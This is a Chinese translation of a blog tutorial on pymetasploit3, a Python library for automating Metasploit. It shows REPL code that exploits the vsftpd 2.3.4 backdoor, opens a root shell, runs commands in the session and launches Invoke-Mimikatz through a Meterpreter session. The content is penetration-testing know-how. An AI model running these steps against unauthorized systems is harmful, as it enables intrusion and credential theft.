Pymetasploit3:使用Python3实现Metasploit自动化

ashe  2009天前

pymetasploit3 – metasploit Automation Library

2019年5月20日,Coalfire公司高级安全顾问Dan McInerney

msf.jpg

你是否有一个每次渗透测试项目都要执行的任务列表,例如SSH 暴力破解或端口映射?又或者使用Python和metasploit自动化它!然而不幸的是,多年来一直没有一个功能齐全的Python库来简化这些工作,直到今天。

Pymetasploit3建立在 allfro 的pymetasploit库之上。它使metasploit自动化更加容易。由于pymetasploit3使用了Python3之上版本,因此您还可以使用Python3的asyncio库的强大功能并执行自动化任务。

安装

mkdir your-new-project-directory

cd your-new-project-directory

pipenv install –three pyme tasploit3

pipenv shell

或者

pip install --user pyme tasploit3

启动 metasploit RPC server

执行 msfconsole 或者 msfrpcd

Msfconsole

$ Msfconsole
msf> load msgrpc Pass=你的密码

Msfrpcd

$ msfrpcd -P 你的密码

Usage

现在您已准备好与metasploit进行互动。 如果您要连接到msfrpcd服务,您需创建一个这样的RPC客户端::

>>> from pymetasploit3.msfrpc import *

>>> client = MsfRpcClient(‘你的密码')

连接到msfconsole RPC plugin:

>>> from pymetasploit3.msfrpc import *

>>> client = MsfRpcClient('你的密码', port=55553)

RPC  client是库的核心,所有功能都直接来自这个对象。使用dir()可以很容易地查看Python库对象:

>>> [m for m in dir(client) if not m.startswith('_')]


>>> ['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins', 'port', 'server', 'token', 'sessions', 'ssl', 'uri']


>>>

让我们来看下exploit 模块:

>>> client.modules.exploit

['windows/wins/ms04_045_wins', 'windows/winrm/winrm_sc ript_exec', 'windows/vpn/safenet_ike_11',

'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ...

'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21']

>>>

创建一个exploit模块对象很简单。通过client.modules.use()传入模块类型以及模块名称。

>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
>>>

现在我们设置模块选项。我们首先要看看哪些目标可用并设置合适的目标。

>>> exploit.targets


{0: 'Automatic'}

>>>


>>> exploit.default_target


0


>>>

在这种情况下,只有一个目标,并且已经设置成默认的。你可以使用具有多个目标的漏洞,并设置它:

>>> exploit.target = 0


0


>>>

让我们找出这个目标的有效载荷:

>>> exploit.targetpayloads()


['cmd/unix/interact']


>>>

下一步是查看和设置模块选项。

>>> exploit.options

['WORKSPACE', 'VERBOSE', 'WfsDelay', 'EnableContextEncoding', 'ContextInformationFile', 'DisablePayloadHandler', 'RHOSTS', 'RPORT', 'SSL', 'SSLVersion', 'SSLVerifyMode', 'SSLCipher', 'Proxies', 'CPORT', 'CHOST', 'ConnectTimeout', 'TCP::max_send_size', 'TCP::send_delay']

>>>

上面大多数选项都已经设置好了默认值,但是我们如何知道哪些选项是必须要设置的,并且我们如何设置它们?

>>> expoit.missing_required

['RHOSTS']

>>> exploit[‘RHOSTS’] = 192.168.1.2

>>> exploit.runoptions

{'VERBOSE': False, 'WfsDelay': 0, 'EnableContextEncoding': False, 'DisablePayloadHandler': False, 'RPORT': 21, 'SSL': False, 'SSLVersion': 'Auto', 'SSLVerifyMode': 'PEER', 'ConnectTimeout': 10, 'TCP::max_send_size': 0, 'TCP::send_delay': 0, 'RHOSTS': '192.168.1.2'}

>>>

我们可以在上面的输出中看到我们成功地将RHOSTS设置为192.168.1.2。 现在我们准备通过在metasploit控制台中运行漏洞来弹出shell。 metasploit控制台是在使用命令msfconsole启动metasploit时给出的提示,但如果您使用带有msfrpcd的RPC守护程序启动metasploit,也可以创建控制台。 下面,我们将创建一个新的控制台,获取其控制台ID,并在该控制台内运行exploit模块,以便我们可以收集模块的输出。

>>> console_id = client.consoles.console().cid

>>> console = client.consoles.console(console_id)

>>> console.run_module_with_output(exploit, payload=’cmd/unix/interact’)

# Some time passes

'VERBOSE => false\nWfsDelay => 0 [...] [*] 192.168.1.2:21 - Banner: 220 vsFTPd 2.3.4\n[*] 192.168.1.2:21 - USER: 331 Please specify the password
[...]'

>>>

现在我们有一个会话,让我们与它交互。client.sessions.list将返回一个字典,其中每个键都是会话标识符,并且会话数据将作为值存储。

>>> client.sessions.list
 {'1': {'info': '', 'username': 'jsmith', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact',
'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor',
'exploit_uuid': '3whbuevf', 'tunnel_peer': '192.168.1.2:6200', 'workspace': 'false', 'routes': '',
'target_host': '192.168.1.2', 'type': 'shell', 'session_host': '192.168.1.2', 'desc': 'Command shell'}} 
>>> shell = client.sessions.session('1')
 >>> shell.write('whoami')
 >>> shell.read()
'\nroot'
 >>>

假设您想在这个会话中运行一个命令,等待命令完成,并返回命令的输出。这在控制台中很简单,因为每个控制台会告诉您,它是否仍在运行您发送的最后一个命令。

>>> console.is_busy()

False

>>>

不幸的是,会话没有来自metasploit提供的session内置功能。有三种方法可以解决这个问题。Option 1等待从会话中读取任何数据并返回该数据。这对于一次性打印所有数据的系统命令非常有效。下面,我们将在远程会话上运行arp命令,并在接收到任何数据时立即返回。

>>> cmd = 'arp'

>>> shell.run_with_output(cmd)

'\n Address                  HWtype  HWaddress           Flags Mask […]'

>>>

Option 2是等待一段时间,然后在该时间之后返回所有数据。 需要注意的一个细节是,默认情况下,metasploit的通讯超时为300秒。 如果您希望运行一个耗时超过300秒的命令,则必须设置metasploit通信超时以及run_with_output()的超时。 例如,要将Meterpreter shell的通信超时更改为500秒,请在Meterpreter shell中运行set_timeouts -c 500。 下面示例中的shell仍然是我们在前面的示例中使用的相同的简单Linux shell,所以没有必要这样做。

>>> cmd = 'arp'

>>> shell.run_with_output(cmd, timeout=10s, timeout_exception=False)

# 10 seconds pass
'\n Address                  HWtype  HWaddress           Flags Mask […]'

>>>

Option 3是在找到某个字符串后停止收集数据。 对于非常复杂的命令,这通常是最一致的。 下面我们将查找字符串“Address”和“HWtype”,我们知道它存在于Linux上的arp命令的输出中。 在处理Meterpreter会话时,字符串“[ - ]”和“[+]”通常是很好的默认结束字符串,因为当命令完成或失败时,metasploit通常会在其输出中使用这些字符串。 但是metasploit的输出在一个命令到下一个命令之间是不一致的,所以要谨慎选择一致的结束字符串,否则您可能会在稍后读取数据缓冲区并让前一个命令的输出扰乱您的新命令的输出。 只要在会话的输出中读取一个选定的结束字符串,就会返回到该时刻之前收集的所有数据。

>>> cmd = 'arp'

>>> end_strs = ['Address', 'HWtype']

>>> shell.run_with_output(cmd, end_strs=end_strs)

'\n Address                  HWtype  HWaddress           Flags Mask […]'

>>>

假设您在Windows主机上获得了Meterpreter shell,您还可以运行PowerShell命令。

>>> met_shell = client.sessions.session('2')
 >>> psh_sc ript = '/home/user/sc ripts/Invoke-Mimikatz.ps1'
 >>> met_shell.import_psh(psh_sc ript)
 >>> met_shell.run_psh_cmd('Invoke-Mimikatz') 
# Some time passes
'Mimikatz output…' 
>>>

这概述了pymetasploit3的基本功能。 现在用一个小Python脚本替代你的工具。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.coalfire.com/The-Coalfire-Blog/May-2019/pymetasploit3-Metasploit-Automation-Library

最新评论

昵称
邮箱
提交评论